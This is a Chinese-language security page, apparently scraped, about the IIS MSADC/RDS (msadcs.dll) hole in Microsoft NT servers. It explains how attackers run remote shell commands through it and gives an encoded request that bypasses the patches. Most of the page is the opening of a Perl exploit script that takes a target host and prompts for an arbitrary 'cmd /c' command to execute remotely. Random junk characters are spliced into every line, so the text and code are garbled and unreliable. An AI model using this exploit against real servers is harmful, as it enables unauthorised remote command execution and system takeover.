IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
;MYK TE>m ?cz7s28a 涉及程序:
mL}Wan Microsoft NT server
l@UF-n~[ >/C,1}p[ 描述:
/P3Pv"r|8] 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:k.>H.8+~ JK^%V\m 详细:
DPnrzV) 如果你没有时间读详细内容的话,就删除:
0[ n;ZL~ c:\Program Files\Common Files\System\Msadc\msadcs.dll
*yI( (G/ 有关的安全问题就没有了。
p|;#frj E?K(MT&@ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
tx1TtWo _pS)bxw 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
gEVoY,}/-U 关于利用ODBC远程漏洞的描述,请参看:
k~<ORnda L-|7
& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;2BPEo>z9 P&o+ut: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
@d3yqA
http://www.microsoft.com/security/bulletins/MS99-025faq.asp TffeCaBv }/NL"0j+4 这里不再论述。
:8)3t! A m7>)p]] 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
78Zb IL V^G+_#@,, /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%7TG>tc 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
b7M ) 1?p:66WmR ABtv|0K #将下面这段保存为txt文件,然后: "perl -x 文件名"
) { "}bMf +Sv2'& B #!perl
Sf`?j #
]Ah<kq2sk # MSADC/RDS 'usage' (aka exploit) script
&s.-p_4w^D #
r)qow.+& # by rain.forest.puppy
$I4JKh #
g fv?#mp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
}`$({\^w # beta test and find errors!
XHuHbriI z*^vdi0 use Socket; use Getopt::Std;
viS7+E|O getopts("e:vd:h:XR", \%args);
Y-DHW/Z~ $*0XWrE print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rJd-e96 F+Hmp\rM# if (!defined $args{h} && !defined $args{R}) {
%`dVX
EO print qq~
m<4tH5};d Usage: msadc.pl -h <host> { -d <delay> -X -v }
W6*5e{ -h <host> = host you want to scan (ip or domain)
kf",/?s2Z -d <seconds> = delay between calls, default 1 second
H8qAj -X = dump Index Server path table, if available
3AuLRI -v = verbose
L{6Vi&I84[ -e = external dictionary file for step 5
R/c-sV <M3&\ Or a -R will resume a command session
MIAC'_<-e gAGcbepX ~; exit;}
<^A1.o<GN c30kb $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
*zPz)3; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
G`jJKiC if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.)=j~}\ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
VelX+|w $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^MZ9Zu_ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
YQfQ[{kp ( v=Z$#l if (!defined $args{R}){ $ret = &has_msadc;
|Tl2r,(+R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6x_D0j%^] !Ie={BpzbZ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
SC0_ h(zb, . "cmd /c ";
xb(y15R\I $in=<STDIN>; chomp $in;
FVHR $command="cmd /c " . $in ;
6$$ku tj!~7lo if (defined $args{R}) {&load; exit;}
r?n3v[B *3Ci4\Ew print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ud,_^Ul &try_btcustmr;
0R?LWm
j ,#=;V"~9 print "\nStep 2: Trying to make our own DSN...";
2`/p V0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
EtvYIfemr ^pa -2Ao6 print "\nStep 3: Trying known DSNs...";
K06&.>v_ &known_dsn;
Q|HOy8O}Z &f>1/"lnd\ print "\nStep 4: Trying known .mdbs...";
_/[(&}M &known_mdb;
uQg&A`4 cLnvb!g'# if (defined $args{e}){
h)C`w'L print "\nStep 5: Trying dictionary of DSN names...";
OOX}S1lA &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Q pbzx/2h Wp$'#HhB print "Sorry Charley...maybe next time?\n";
3HmJixy exit;
'St\$X
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